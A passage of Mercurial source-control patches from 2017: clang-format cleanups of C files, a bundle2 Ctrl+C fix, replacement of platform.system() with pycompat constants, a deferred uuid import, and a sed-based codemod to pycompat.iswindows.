-	cp contrib/zsh_completion $(CURDIR)/debian/mercurial-common/usr/share/zsh/vendor-completions/_hg
-	rm $(CURDIR)/debian/mercurial-common/usr/bin/hg
+	mkdir -p "$(CURDIR)"/debian/mercurial-common/usr/share/bash-completion/completions
+	cp contrib/bash_completion "$(CURDIR)"/debian/mercurial-common/usr/share/bash-completion/completions/hg
+	mkdir -p "$(CURDIR)"/debian/mercurial-common/usr/share/zsh/vendor-completions
+	cp contrib/zsh_completion "$(CURDIR)"/debian/mercurial-common/usr/share/zsh/vendor-completions/_hg
+	rm "$(CURDIR)"/debian/mercurial-common/usr/bin/hg
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507128439 14400
#      Wed Oct 04 10:47:19 2017 -0400
# Node ID ff4c9c6263de7d3469bf308b7402f8a116ebd320
# Parent  f1c2552c2de78a2f8a0c0ded099ccb200aad27d0
bdiff: sort includes using clang-format

Differential Revision: https://phab.mercurial-scm.org/D1003

diff --git a/mercurial/bdiff.c b/mercurial/bdiff.c
--- a/mercurial/bdiff.c
+++ b/mercurial/bdiff.c
@@ -9,13 +9,13 @@
  Based roughly on Python difflib
 */
 
+#include <limits.h>
 #include <stdlib.h>
 #include <string.h>
-#include <limits.h>
 
+#include "bdiff.h"
+#include "bitmanipulation.h"
 #include "compat.h"
-#include "bitmanipulation.h"
-#include "bdiff.h"
 
 /* Hash implementation from diffutils */
 #define ROL(v, n) ((v) << (n) | (v) >> (sizeof(v) * CHAR_BIT - (n)))
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507128471 14400
#      Wed Oct 04 10:47:51 2017 -0400
# Node ID 72985b390d7c85909f601ff5dee93d05509c38fb
# Parent  ff4c9c6263de7d3469bf308b7402f8a116ebd320
bdiff: format header file with clang-format

Differential Revision: https://phab.mercurial-scm.org/D1004

diff --git a/mercurial/bdiff.h b/mercurial/bdiff.h
--- a/mercurial/bdiff.h
+++ b/mercurial/bdiff.h
@@ -15,7 +15,7 @@
 
 int bdiff_splitlines(const char *a, ssize_t len, struct bdiff_line **lr);
 int bdiff_diff(struct bdiff_line *a, int an, struct bdiff_line *b, int bn,
-	struct bdiff_hunk *base);
+               struct bdiff_hunk *base);
 void bdiff_freehunks(struct bdiff_hunk *l);
 
 #endif
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507128526 14400
#      Wed Oct 04 10:48:46 2017 -0400
# Node ID 72b24ac81d5d0340ec19a2cc1d98c76c67b1d548
# Parent  72985b390d7c85909f601ff5dee93d05509c38fb
bdiff: fix misplaced comma in macro definition with clang-format

Differential Revision: https://phab.mercurial-scm.org/D1005

diff --git a/mercurial/bdiff.c b/mercurial/bdiff.c
--- a/mercurial/bdiff.c
+++ b/mercurial/bdiff.c
@@ -19,7 +19,7 @@
 
 /* Hash implementation from diffutils */
 #define ROL(v, n) ((v) << (n) | (v) >> (sizeof(v) * CHAR_BIT - (n)))
-#define HASH(h, c) ((c) + ROL(h ,7))
+#define HASH(h, c) ((c) + ROL(h, 7))
 
 struct pos {
 	int pos, len;
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507128574 14400
#      Wed Oct 04 10:49:34 2017 -0400
# Node ID 2c79a5a0c7f3a188719f9d0958684dac99248eca
# Parent  72b24ac81d5d0340ec19a2cc1d98c76c67b1d548
bdiff: remove extra space after * per clang-format

Differential Revision: https://phab.mercurial-scm.org/D1006

diff --git a/mercurial/bdiff.c b/mercurial/bdiff.c
--- a/mercurial/bdiff.c
+++ b/mercurial/bdiff.c
@@ -30,7 +30,7 @@
 	unsigned hash;
 	int i;
 	const char *p, *b = a;
-	const char * const plast = a + len - 1;
+	const char *const plast = a + len - 1;
 	struct bdiff_line *l;
 
 	/* count the lines */
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507128654 14400
#      Wed Oct 04 10:50:54 2017 -0400
# Node ID 38463bd96d21e17d36563ab355dc48485500aec4
# Parent  2c79a5a0c7f3a188719f9d0958684dac99248eca
bdiff: re-wrap lines per clang-format

A few too-wide lines corrected, and some places where clang-format
prefers to wrap after the binary operator instead of before. I don't
feel strongly, so I'm leaving the auto-format result as "after the
binary operator".

Differential Revision: https://phab.mercurial-scm.org/D1007

diff --git a/mercurial/bdiff.c b/mercurial/bdiff.c
--- a/mercurial/bdiff.c
+++ b/mercurial/bdiff.c
@@ -79,7 +79,8 @@
 
 static inline int cmp(struct bdiff_line *a, struct bdiff_line *b)
 {
-	return a->hash != b->hash || a->len != b->len || memcmp(a->l, b->l, a->len);
+	return a->hash != b->hash || a->len != b->len ||
+	       memcmp(a->l, b->l, a->len);
 }
 
 static int equatelines(struct bdiff_line *a, int an, struct bdiff_line *b,
@@ -211,8 +212,7 @@
 	}
 
 	/* expand match to include subsequent popular lines */
-	while (mi + mk < a2 && mj + mk < b2 &&
-	       a[mi + mk].e == b[mj + mk].e)
+	while (mi + mk < a2 && mj + mk < b2 && a[mi + mk].e == b[mj + mk].e)
 		mk++;
 
 	*omi = mi;
@@ -238,7 +238,8 @@
 		if (!l)
 			return NULL;
 
-		l->next = (struct bdiff_hunk *)malloc(sizeof(struct bdiff_hunk));
+		l->next =
+		    (struct bdiff_hunk *)malloc(sizeof(struct bdiff_hunk));
 		if (!l->next)
 			return NULL;
 
@@ -274,7 +275,8 @@
 			return -1;
 
 		/* sentinel end hunk */
-		curr->next = (struct bdiff_hunk *)malloc(sizeof(struct bdiff_hunk));
+		curr->next =
+		    (struct bdiff_hunk *)malloc(sizeof(struct bdiff_hunk));
 		if (!curr->next)
 			return -1;
 		curr = curr->next;
@@ -293,10 +295,9 @@
 			break;
 
 		if (curr->a2 == next->a1 || curr->b2 == next->b1)
-			while (curr->a2 < an && curr->b2 < bn
-			       && next->a1 < next->a2
-			       && next->b1 < next->b2
-			       && !cmp(a + curr->a2, b + curr->b2)) {
+			while (curr->a2 < an && curr->b2 < bn &&
+			       next->a1 < next->a2 && next->b1 < next->b2 &&
+			       !cmp(a + curr->a2, b + curr->b2)) {
 				curr->a2++;
 				next->a1++;
 				curr->b2++;
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507128685 14400
#      Wed Oct 04 10:51:25 2017 -0400
# Node ID 4dea82ee7945087443fd3f0958a5115ae7265780
# Parent  38463bd96d21e17d36563ab355dc48485500aec4
bdiff: rewrap function prototypes per clang-format

Differential Revision: https://phab.mercurial-scm.org/D1008

diff --git a/mercurial/bdiff.c b/mercurial/bdiff.c
--- a/mercurial/bdiff.c
+++ b/mercurial/bdiff.c
@@ -84,7 +84,7 @@
 }
 
 static int equatelines(struct bdiff_line *a, int an, struct bdiff_line *b,
-	int bn)
+                       int bn)
 {
 	int i, j, buckets = 1, t, scale;
 	struct pos *h = NULL;
@@ -150,8 +150,8 @@
 }
 
 static int longest_match(struct bdiff_line *a, struct bdiff_line *b,
-			struct pos *pos,
-			 int a1, int a2, int b1, int b2, int *omi, int *omj)
+                         struct pos *pos, int a1, int a2, int b1, int b2,
+                         int *omi, int *omj)
 {
 	int mi = a1, mj = b1, mk = 0, i, j, k, half, bhalf;
 
@@ -222,8 +222,8 @@
 }
 
 static struct bdiff_hunk *recurse(struct bdiff_line *a, struct bdiff_line *b,
-				struct pos *pos,
-			    int a1, int a2, int b1, int b2, struct bdiff_hunk *l)
+                                  struct pos *pos, int a1, int a2, int b1,
+                                  int b2, struct bdiff_hunk *l)
 {
 	int i, j, k;
 
@@ -256,8 +256,8 @@
 	}
 }
 
-int bdiff_diff(struct bdiff_line *a, int an, struct bdiff_line *b,
-		int bn, struct bdiff_hunk *base)
+int bdiff_diff(struct bdiff_line *a, int an, struct bdiff_line *b, int bn,
+               struct bdiff_hunk *base)
 {
 	struct bdiff_hunk *curr;
 	struct pos *pos;
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507128699 14400
#      Wed Oct 04 10:51:39 2017 -0400
# Node ID 7201e3607d90f0e698963a0b37cc1a767ee618ed
# Parent  4dea82ee7945087443fd3f0958a5115ae7265780
bdiff: remove trailing newlines

Differential Revision: https://phab.mercurial-scm.org/D1009

diff --git a/mercurial/bdiff.c b/mercurial/bdiff.c
--- a/mercurial/bdiff.c
+++ b/mercurial/bdiff.c
@@ -318,5 +318,3 @@
 		free(l);
 	}
 }
-
-
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507128951 14400
#      Wed Oct 04 10:55:51 2017 -0400
# Node ID 347c0f4232e195ef2b2bffd50d649b79ac18d0cf
# Parent  7201e3607d90f0e698963a0b37cc1a767ee618ed
mpatch: re-wrap wide line with clang-format

Differential Revision: https://phab.mercurial-scm.org/D1027

diff --git a/mercurial/mpatch.c b/mercurial/mpatch.c
--- a/mercurial/mpatch.c
+++ b/mercurial/mpatch.c
@@ -36,7 +36,8 @@
 
 	a = (struct mpatch_flist *)malloc(sizeof(struct mpatch_flist));
 	if (a) {
-		a->base = (struct mpatch_frag *)malloc(sizeof(struct mpatch_frag) * size);
+		a->base = (struct mpatch_frag *)malloc(
+		    sizeof(struct mpatch_frag) * size);
 		if (a->base) {
 			a->head = a->tail = a->base;
 			return a;
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507129043 14400
#      Wed Oct 04 10:57:23 2017 -0400
# Node ID 2e08b69bcd29ecbb8f49837c5c7f674d3962153a
# Parent  347c0f4232e195ef2b2bffd50d649b79ac18d0cf
mpatch: reflow two oddly formatted else blocks with clang-format

Differential Revision: https://phab.mercurial-scm.org/D1029

diff --git a/mercurial/mpatch.c b/mercurial/mpatch.c
--- a/mercurial/mpatch.c
+++ b/mercurial/mpatch.c
@@ -78,8 +78,7 @@
 			/* save this hunk */
 			offset += s->start + s->len - s->end;
 			*d++ = *s++;
-		}
-		else {
+		} else {
 			/* break up this hunk */
 			c = cut - offset;
 			if (s->end < c)
@@ -122,8 +121,7 @@
 		if (postend <= cut) {
 			offset += s->start + s->len - s->end;
 			s++;
-		}
-		else {
+		} else {
 			c = cut - offset;
 			if (s->end < c)
 				c = s->end;
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507129364 14400
#      Wed Oct 04 11:02:44 2017 -0400
# Node ID 3455e2e2ce9b28e8c1db2a682400034687deeb6a
# Parent  2e08b69bcd29ecbb8f49837c5c7f674d3962153a
util: add clang-format control comment around struct and format macro

clang-format is not a fan of PyObject_HEAD.

Differential Revision: https://phab.mercurial-scm.org/D1031

diff --git a/mercurial/cext/util.h b/mercurial/cext/util.h
--- a/mercurial/cext/util.h
+++ b/mercurial/cext/util.h
@@ -14,6 +14,7 @@
 #define IS_PY3K
 #endif
 
+/* clang-format off */
 typedef struct {
 	PyObject_HEAD
 	char state;
@@ -21,11 +22,12 @@
 	int size;
 	int mtime;
 } dirstateTupleObject;
+/* clang-format on */
 
 extern PyTypeObject dirstateTupleType;
 #define dirstate_tuple_check(op) (Py_TYPE(op) == &dirstateTupleType)
 
-#define MIN(a, b) (((a)<(b))?(a):(b))
+#define MIN(a, b) (((a) < (b)) ? (a) : (b))
 /* VC9 doesn't include bool and lacks stdbool.h based on my searching */
 #if defined(_MSC_VER) || __STDC_VERSION__ < 199901L
 #define true 1
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507129458 14400
#      Wed Oct 04 11:04:18 2017 -0400
# Node ID 31c6c4d27be7af21c08018a5a97148c146ac71e2
# Parent  3455e2e2ce9b28e8c1db2a682400034687deeb6a
exewrapper: format with clang-format

A few *s move around, some spaces around parens, a couple of
braces. Nothing remarkable.

Differential Revision: https://phab.mercurial-scm.org/D1032

diff --git a/mercurial/exewrapper.c b/mercurial/exewrapper.c
--- a/mercurial/exewrapper.c
+++ b/mercurial/exewrapper.c
@@ -23,7 +23,6 @@
 }
 #endif
 
-
 static char pyscript[MAX_PATH + 10];
 static char pyhome[MAX_PATH + 10];
 static char envpyhome[MAX_PATH + 10];
@@ -40,11 +39,10 @@
 	HANDLE hfind;
 	const char *err;
 	HMODULE pydll;
-	void (__cdecl *Py_SetPythonHome)(char *home);
-	int (__cdecl *Py_Main)(int argc, char *argv[]);
+	void(__cdecl * Py_SetPythonHome)(char *home);
+	int(__cdecl * Py_Main)(int argc, char *argv[]);
 
-	if (GetModuleFileName(NULL, pyscript, sizeof(pyscript)) == 0)
-	{
+	if (GetModuleFileName(NULL, pyscript, sizeof(pyscript)) == 0) {
 		err = "GetModuleFileName failed";
 		goto bail;
 	}
@@ -87,10 +85,12 @@
 		strcat_s(pydllfile, sizeof(pydllfile), "\\" HGPYTHONLIB ".dll");
 		pydll = LoadLibrary(pydllfile);
 		if (pydll == NULL) {
-			err = "failed to load private Python DLL " HGPYTHONLIB ".dll";
+			err = "failed to load private Python DLL " HGPYTHONLIB
+			      ".dll";
 			goto bail;
 		}
-		Py_SetPythonHome = (void*)GetProcAddress(pydll, "Py_SetPythonHome");
+		Py_SetPythonHome =
+		    (void *)GetProcAddress(pydll, "Py_SetPythonHome");
 		if (Py_SetPythonHome == NULL) {
 			err = "failed to get Py_SetPythonHome";
 			goto bail;
@@ -106,7 +106,7 @@
 		}
 	}
 
-	Py_Main = (void*)GetProcAddress(pydll, "Py_Main");
+	Py_Main = (void *)GetProcAddress(pydll, "Py_Main");
 	if (Py_Main == NULL) {
 		err = "failed to get Py_Main";
 		goto bail;
@@ -133,7 +133,7 @@
 	name of our exe (argv[0]) in the position where the python.exe
 	canonically is, and insert the pyscript next.
 	*/
-	pyargv = malloc((argc + 5) * sizeof(char*));
+	pyargv = malloc((argc + 5) * sizeof(char *));
 	if (pyargv == NULL) {
 		err = "not enough memory";
 		goto bail;
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1507743419 25200
#      Wed Oct 11 10:36:59 2017 -0700
# Node ID 5f79f5f8487a54668094eaead5dda82bfe1db110
# Parent  31c6c4d27be7af21c08018a5a97148c146ac71e2
bundle2: immediate exit for ctrl+c (issue5692)

21c2df59a regressed bundle2 by catching all exceptions and trying to handle
them. The old behavior was to allow KeyboardInterrupts to throw and not have
graceful cleanup, which allowed it to exit immediately. Let's go back to that
behavior.

Differential Revision: https://phab.mercurial-scm.org/D960

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -370,14 +370,10 @@
         if not self.iterator:
             return
 
-        if exc:
-            # If exiting or interrupted, do not attempt to seek the stream in
-            # the finally block below. This makes abort faster.
-            if (self.current and
-                not isinstance(exc, (SystemExit, KeyboardInterrupt))):
-                # consume the part content to not corrupt the stream.
-                self.current.seek(0, 2)
-
+        # Only gracefully abort in a normal exception situation. User aborts
+        # like Ctrl+C throw a KeyboardInterrupt which is not a base Exception,
+        # and should not gracefully cleanup.
+        if isinstance(exc, Exception):
             # Any exceptions seeking to the end of the bundle at this point are
             # almost certainly related to the underlying stream being bad.
             # And, chances are that the exception we're handling is related to
@@ -385,6 +381,10 @@
             # re-raise the original error.
             seekerror = False
             try:
+                if self.current:
+                    # consume the part content to not corrupt the stream.
+                    self.current.seek(0, 2)
+
                 for part in self.iterator:
                     # consume the bundle content
                     part.seek(0, 2)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507578148 25200
#      Mon Oct 09 12:42:28 2017 -0700
# Node ID 021607b4ef49422c1f298e3321418e1632464c0a
# Parent  5f79f5f8487a54668094eaead5dda82bfe1db110
dispatch: when --pager=no is passed, also disable pager on req.repo.ui

With a future chg change, `req.repo` could be set and currently it is
unaffected by `--pager=on`. This patch makes it so.

This could make one of the test cases in `test-pager.t` pass with future chg
changes.

Differential Revision: https://phab.mercurial-scm.org/D990

diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -871,7 +871,8 @@
             # ui.pager() expects 'internal-always-' prefix in this case
             ui.pager('internal-always-' + cmd)
         elif options['pager'] != 'auto':
-            ui.disablepager()
+            for ui_ in uis:
+                ui_.disablepager()
 
         if options['version']:
             return commands.version_(ui)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507768041 25200
#      Wed Oct 11 17:27:21 2017 -0700
# Node ID a568a46751b6fc87437b143582f594bfe87451f6
# Parent  021607b4ef49422c1f298e3321418e1632464c0a
selectors2: do not use platform.system()

`platform.system()` may have a side effect spawning a shell executing
`uname -p`, which may print a warning when the current directory is removed:

  shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

This patch changes selectors2 to test the `sys.platform` string, which is a
much safer way to detect Jython.

Jython's `sys.platform` looks like this:

  Jython 2.7.1 (default:0df7adb1b397, Jun 30 2017, 19:02:43)
  [OpenJDK 64-Bit Server VM (Oracle Corporation)] on java1.8.0_144
  Type "help", "copyright", "credits" or "license" for more information.
  >>> import sys
  >>> sys.platform
  'java1.8.0_144 ( ==linux2 for targets )'

Differential Revision: https://phab.mercurial-scm.org/D1018

diff --git a/mercurial/pycompat.py b/mercurial/pycompat.py
--- a/mercurial/pycompat.py
+++ b/mercurial/pycompat.py
@@ -314,3 +314,5 @@
     stringio = cStringIO.StringIO
     maplist = map
     rawinput = raw_input
+
+isjython = sysplatform.startswith('java')
diff --git a/mercurial/selectors2.py b/mercurial/selectors2.py
--- a/mercurial/selectors2.py
+++ b/mercurial/selectors2.py
@@ -29,12 +29,13 @@
 import collections
 import errno
 import math
-import platform
 import select
 import socket
 import sys
 import time
 
+from . import pycompat
+
 namedtuple = collections.namedtuple
 Mapping = collections.Mapping
 
@@ -288,7 +289,7 @@
     __all__.append('SelectSelector')
 
     # Jython has a different implementation of .fileno() for socket objects.
-    if platform.system() == 'Java':
+    if pycompat.isjython:
         class _JythonSelectorMapping(object):
             """ This is an implementation of _SelectorMapping that is built
             for use specifically with Jython, which does not provide a hashable
@@ -727,7 +728,7 @@
     by eventlet, greenlet, and preserve proper behavior. """
     global _DEFAULT_SELECTOR
     if _DEFAULT_SELECTOR is None:
-        if platform.system() == 'Java':  # Platform-specific: Jython
+        if pycompat.isjython:
             _DEFAULT_SELECTOR = JythonSelectSelector
         elif _can_allocate('kqueue'):
             _DEFAULT_SELECTOR = KqueueSelector
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507768700 25200
#      Wed Oct 11 17:38:20 2017 -0700
# Node ID 68ed3b4f86ef506a0937bdf9e783146c37b09736
# Parent  a568a46751b6fc87437b143582f594bfe87451f6
logtoprocess: do not use platform.system()

See the previous patch for the reason.

Differential Revision: https://phab.mercurial-scm.org/D1019

diff --git a/hgext/logtoprocess.py b/hgext/logtoprocess.py
--- a/hgext/logtoprocess.py
+++ b/hgext/logtoprocess.py
@@ -36,11 +36,13 @@
 
 import itertools
 import os
-import platform
 import subprocess
 import sys
 
-from mercurial import encoding
+from mercurial import (
+    encoding,
+    pycompat,
+)
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
@@ -49,7 +51,7 @@
 testedwith = 'ships-with-hg-core'
 
 def uisetup(ui):
-    if platform.system() == 'Windows':
+    if pycompat.osname == 'nt':
         # no fork on Windows, but we can create a detached process
         # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863.aspx
         # No stdlib constant exists for this value
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507768955 25200
#      Wed Oct 11 17:42:35 2017 -0700
# Node ID bb6544b1c56e5eeffda11a7b05754c9eb3666e62
# Parent  68ed3b4f86ef506a0937bdf9e783146c37b09736
largefiles: do not use platform.system()

See the previous patch for the reason.

Differential Revision: https://phab.mercurial-scm.org/D1020

diff --git a/hgext/largefiles/lfutil.py b/hgext/largefiles/lfutil.py
--- a/hgext/largefiles/lfutil.py
+++ b/hgext/largefiles/lfutil.py
@@ -12,7 +12,6 @@
 import copy
 import hashlib
 import os
-import platform
 import stat
 
 from mercurial.i18n import _
@@ -80,7 +79,7 @@
                         encoding.environ.get('APPDATA'))
         if appdata:
             return os.path.join(appdata, longname)
-    elif platform.system() == 'Darwin':
+    elif pycompat.sysplatform == 'darwin':
         home = encoding.environ.get('HOME')
         if home:
             return os.path.join(home, 'Library', 'Caches', longname)
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507768977 25200
#      Wed Oct 11 17:42:57 2017 -0700
# Node ID a679aa582d8dedb3368ad7b427be3b504a7d0f47
# Parent  bb6544b1c56e5eeffda11a7b05754c9eb3666e62
check-code: forbid platform.system()

See the previous patches for the reason.

Differential Revision: https://phab.mercurial-scm.org/D1021

diff --git a/contrib/check-code.py b/contrib/check-code.py
--- a/contrib/check-code.py
+++ b/contrib/check-code.py
@@ -362,6 +362,7 @@
     (r'\.next\(\)', "don't use .next(), use next(...)"),
     (r'([a-z]*).revision\(\1\.node\(',
      "don't convert rev to node before passing to revision(nodeorrev)"),
+    (r'platform\.system\(\)', "don't use platform.system(), use pycompat"),
 
     # rules depending on implementation of repquote()
     (r' x+[xpqo%APM][\'"]\n\s+[\'"]x',
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507782272 25200
#      Wed Oct 11 21:24:32 2017 -0700
# Node ID f42dec9c976e8059a44edda5db47352df0a93b4a
# Parent  a679aa582d8dedb3368ad7b427be3b504a7d0f47
hgweb: do not import uuid immediately to avoid its side effect

With hgdemandimport disabled (chg's case), `import uuid` has an immediate
side effect calling `ctypes.util.find_library` trying to locate the
`libuuid` library.  This happens at `import` time before `dispatch.run()`.
The call trace is like:

  File "hg/hg", line 54, in <module>
    from mercurial import (
  File "hg/mercurial/dispatch.py", line 24, in <module>
    from . import (
  File "hg/mercurial/commands.py", line 23, in <module>
    from . import (
  File "hg/mercurial/help.py", line 33, in <module>
    from .hgweb import (
  File "hg/mercurial/hgweb/__init__.py", line 20, in <module>
    from . import (
  File "hg/mercurial/hgweb/hgweb_mod.py", line 14, in <module>
    from .common import (
  File "hg/mercurial/hgweb/common.py", line 15, in <module>
    import uuid
  File "/usr/lib64/python2.7/uuid.py", line 404, in <module>
    lib = ctypes.CDLL(ctypes.util.find_library(libname))

The problem is, `ctypes.util.find_library` will execute
`sh -c '/sbin/ldconfig -p 2>/dev/null'` on Python <= 2.7.12. The output of
`sh` may pollute the terminal:

  shell-init: error retrieving current directory: getcwd: cannot access
  parent directories: No such file or directory

This patch moves `import uuid` so its side-effect can only happen after the
cwd check in `dispatch._getlocal`. Therefore the terminal won't be
polluted by importing `uuid`.

Differential Revision: https://phab.mercurial-scm.org/D1024

diff --git a/mercurial/hgweb/common.py b/mercurial/hgweb/common.py
--- a/mercurial/hgweb/common.py
+++ b/mercurial/hgweb/common.py
@@ -12,7 +12,6 @@
 import errno
 import mimetypes
 import os
-import uuid
 
 from .. import (
     encoding,
@@ -221,6 +220,23 @@
     First value is ``None`` if CSP isn't enabled. Second value is ``None``
     if CSP isn't enabled or if the CSP header doesn't need a nonce.
     """
+    # Without demandimport, "import uuid" could have an immediate side-effect
+    # running "ldconfig" on Linux trying to find libuuid.
+    # With Python <= 2.7.12, that "ldconfig" is run via a shell and the shell
+    # may pollute the terminal with:
+    #
+    #   shell-init: error retrieving current directory: getcwd: cannot access
+    #   parent directories: No such file or directory
+    #
+    # Python >= 2.7.13 has fixed it by running "ldconfig" directly without a
+    # shell (hg changeset a09ae70f3489).
+    #
+    # Moved "import uuid" from here so it's executed after we know we have
+    # a sane cwd (i.e. after dispatch.py cwd check).
+    #
+    # We can move it back once we no longer need Python <= 2.7.12 support.
+    import uuid
+
     # Don't allow untrusted CSP setting since it be disable protections
     # from a trusted/global source.
     csp = ui.config('web', 'csp', untrusted=False)
diff --git a/tests/test-dispatch.t b/tests/test-dispatch.t
--- a/tests/test-dispatch.t
+++ b/tests/test-dispatch.t
@@ -60,3 +60,16 @@
   [255]
 
 #endif
+
+#if rmcwd
+
+Current directory removed:
+
+  $ mkdir $TESTTMP/repo1
+  $ cd $TESTTMP/repo1
+  $ rm -rf $TESTTMP/repo1
+  $ HGDEMANDIMPORT=disable hg version -q
+  abort: error getting current working directory: * (glob)
+  [255]
+
+#endif
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507861204 25200
#      Thu Oct 12 19:20:04 2017 -0700
# Node ID c0a6c19690ff0e424df0897aa0ce3e9dd44f637b
# Parent  f42dec9c976e8059a44edda5db47352df0a93b4a
pycompat: define operating system constants

As suggested by Ryan in D1019, it's cleaner if we use defined constants
instead of `osname == 'nt'` everywhere.

Differential Revision: https://phab.mercurial-scm.org/D1033

diff --git a/mercurial/pycompat.py b/mercurial/pycompat.py
--- a/mercurial/pycompat.py
+++ b/mercurial/pycompat.py
@@ -316,3 +316,7 @@
     rawinput = raw_input
 
 isjython = sysplatform.startswith('java')
+
+isdarwin = sysplatform == 'darwin'
+isposix = osname == 'posix'
+iswindows = osname == 'nt'
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1507876246 25200
#      Thu Oct 12 23:30:46 2017 -0700
# Node ID 75979c8d457288b4c049f730a303345e4317e38a
# Parent  c0a6c19690ff0e424df0897aa0ce3e9dd44f637b
codemod: use pycompat.iswindows

This is done by:

  sed -i "s/pycompat\.osname == 'nt'/pycompat.iswindows/" **/*.py
  sed -i "s/pycompat\.osname != 'nt'/not pycompat.iswindows/" **/*.py
  sed -i 's/pycompat.osname == "nt"/pycompat.iswindows/' **/*.py

Differential Revision: https://phab.mercurial-scm.org/D1034

diff --git a/hgext/convert/subversion.py b/hgext/convert/subversion.py
--- a/hgext/convert/subversion.py
+++ b/hgext/convert/subversion.py
@@ -103,7 +103,7 @@
         pass
     if os.path.isdir(path):
         path = os.path.normpath(os.path.abspath(path))
-        if pycompat.osname == 'nt':
+        if pycompat.iswindows:
             path = '/' + util.normpath(path)
         # Module URL is later compared with the repository URL returned
         # by svn API, which is UTF-8.
@@ -254,7 +254,7 @@
     try:
         proto, path = url.split('://', 1)
         if proto == 'file':
-            if (pycompat.osname == 'nt' and path[:1] == '/'
+            if (pycompat.iswindows and path[:1] == '/'
                   and path[1:2].isalpha() and path[2:6].lower() == '%3a/'):
                 path = path[:2] + ':/' + path[6:]
             path = urlreq.url2pathname(path)
diff --git a/hgext/largefiles/lfutil.py b/hgext/largefiles/lfutil.py
--- a/hgext/largefiles/lfutil.py
+++ b/hgext/largefiles/lfutil.py
@@ -74,7 +74,7 @@
     path = ui.configpath(longname, 'usercache', None)
     if path:
         return path
-    if pycompat.osname == 'nt':
+    if pycompat.iswindows:
         appdata = encoding.environ.get('LOCALAPPDATA',\
                         encoding.environ.get('APPDATA'))
         if appdata:
diff --git a/hgext/logtoprocess.py b/hgext/logtoprocess.py
--- a/hgext/logtoprocess.py
+++ b/hgext/logtoprocess.py
@@ -51,7 +51,7 @@
 testedwith = 'ships-with-hg-core'
 
 def uisetup(ui):
-    if pycompat.osname == 'nt':
+    if pycompat.iswindows:
         # no fork on Windows, but we can create a detached process
         # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863.aspx
         # No stdlib constant exists for this value
diff --git a/hgext/schemes.py b/hgext/schemes.py
--- a/hgext/schemes.py
+++ b/hgext/schemes.py
@@ -116,7 +116,7 @@
     schemes.update(dict(ui.configitems('schemes')))
     t = templater.engine(lambda x: x)
     for scheme, url in schemes.items():
-        if (pycompat.osname == 'nt' and len(scheme) == 1 and scheme.isalpha()
+        if (pycompat.iswindows and len(scheme) == 1 and scheme.isalpha()
             and os.path.exists('%s:\\' % scheme)):
             raise error.Abort(_('custom scheme %s:// conflicts with drive '
                                'letter %s:\\\n') % (scheme, scheme.upper()))
diff --git a/hgext/win32mbcs.py b/hgext/win32mbcs.py
--- a/hgext/win32mbcs.py
+++ b/hgext/win32mbcs.py
@@ -190,7 +190,7 @@
     if _encoding.lower() in problematic_encodings.split():
         for f in funcs.split():
             wrapname(f, wrapper)
-        if pycompat.osname == 'nt':
+        if pycompat.iswindows:
             for f in winfuncs.split():
                 wrapname(f, wrapper)
         wrapname("mercurial.util.listdir", wrapperforlistdir)
diff --git a/mercurial/color.py b/mercurial/color.py
--- a/mercurial/color.py
+++ b/mercurial/color.py
@@ -210,7 +210,7 @@
         mode = ui.config('color', 'pagermode', mode)
 
     realmode = mode
-    if pycompat.osname == 'nt':
+    if pycompat.iswindows:
         from . import win32
 
         term = encoding.environ.get('TERM')
@@ -379,7 +379,7 @@
     return msg
 
 w32effects = None
-if pycompat.osname == 'nt':
+if pycompat.iswindows:
     import ctypes
 
     _kernel32 = ctypes.windll.kernel32
diff --git a/mercurial/debugcommands.py b/mercurial/debugcommands.py
--- a/mercurial/debugcommands.py
+++ b/mercurial/debugcommands.py
@@ -2072,7 +2072,7 @@
     If the update succeeds, retry the original operation.  Otherwise, the cause
     of the SSL error is likely another issue.
     '''
-    if pycompat.osname != 'nt':
+    if not pycompat.iswindows:
         raise error.Abort(_('certificate chain building is only possible on '
                             'Windows'))
 
diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -266,7 +266,7 @@
 class MercurialHTTPServer(_mixin, httpservermod.httpserver, object):
 
     # SO_REUSEADDR has broken semantics on windows
-    if pycompat.osname == 'nt':
+    if pycompat.iswindows:
         allow_reuse_address = 0
 
     def __init__(self, ui, app, addr, handler, **kwargs):
diff --git a/mercurial/i18n.py b/mercurial/i18n.py
--- a/mercurial/i18n.py
+++ b/mercurial/i18n.py
@@ -29,7 +29,7 @@
     unicode = str
 
 _languages = None
-if (pycompat.osname == 'nt'
+if (pycompat.iswindows
     and 'LANGUAGE' not in encoding.environ
     and 'LC_ALL' not in encoding.environ
     and 'LC_MESSAGES' not in encoding.environ
diff --git a/mercurial/pure/osutil.py b/mercurial/pure/osutil.py
--- a/mercurial/pure/osutil.py
+++ b/mercurial/pure/osutil.py
